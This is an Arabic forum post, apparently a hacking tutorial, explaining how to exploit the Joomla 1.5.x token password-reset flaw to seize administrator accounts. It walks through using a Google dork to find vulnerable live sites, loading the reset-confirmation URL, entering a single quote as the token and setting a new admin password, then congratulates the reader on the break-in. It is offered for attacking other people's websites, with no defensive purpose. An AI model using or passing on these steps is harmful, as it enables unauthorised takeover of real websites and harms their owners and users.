افتراضي استغلال ثغرة سكربت جومله ===****** Joomla

قدم لكم وبين ايديكم شرح استغلال ثغره سكربت جومله
****** Joomla===========


Joomla 1.5.x (Token) Remote Admin Change Password Vulnerability

الأصدارات المصابة 1.5.x


نوع الثغرة Remote Admin Change Password تغيير باسوورد الأدمن


هسه ندخل على التطبيق ولبحث

الدورك البحث
تدخل تفتح الكوكل صديقنا Google

وتكدب هاذا الكود الي هوه الدورك

كود PHP:
inurl:index.php?option=com_use
طلعتنه هوايه مواقع مصابه
تختار احد من هن

هسه تشوف طريقه الاستغلال الثغره بعد مالكينه الموقع المصاب


ندخل للموقع المصاب ونضيف هاذا المسار

كود PHP:
index.php?option=com_user&view=reset&layout=confir m
يصير هيجي يعني

كود PHP:
http://www.XXXXXX.com/index.php?opti...layout=confirm
راح يطلع مربع اسمة "token

نخلي بل مربع هاذي العلامه النقطه

'

هسه راج يطلب منك باسورد جديد

تكتب الباسورد الي تريده



وتعيد كتابته مره لخ

ومبرووك الاختراقق

خوما صعبه ااذا صعبه كلولي

نلقاكم بدرس اخررر

اقرأ المزيد: استغلال ثغرة سكربت جومله ===****** Joomla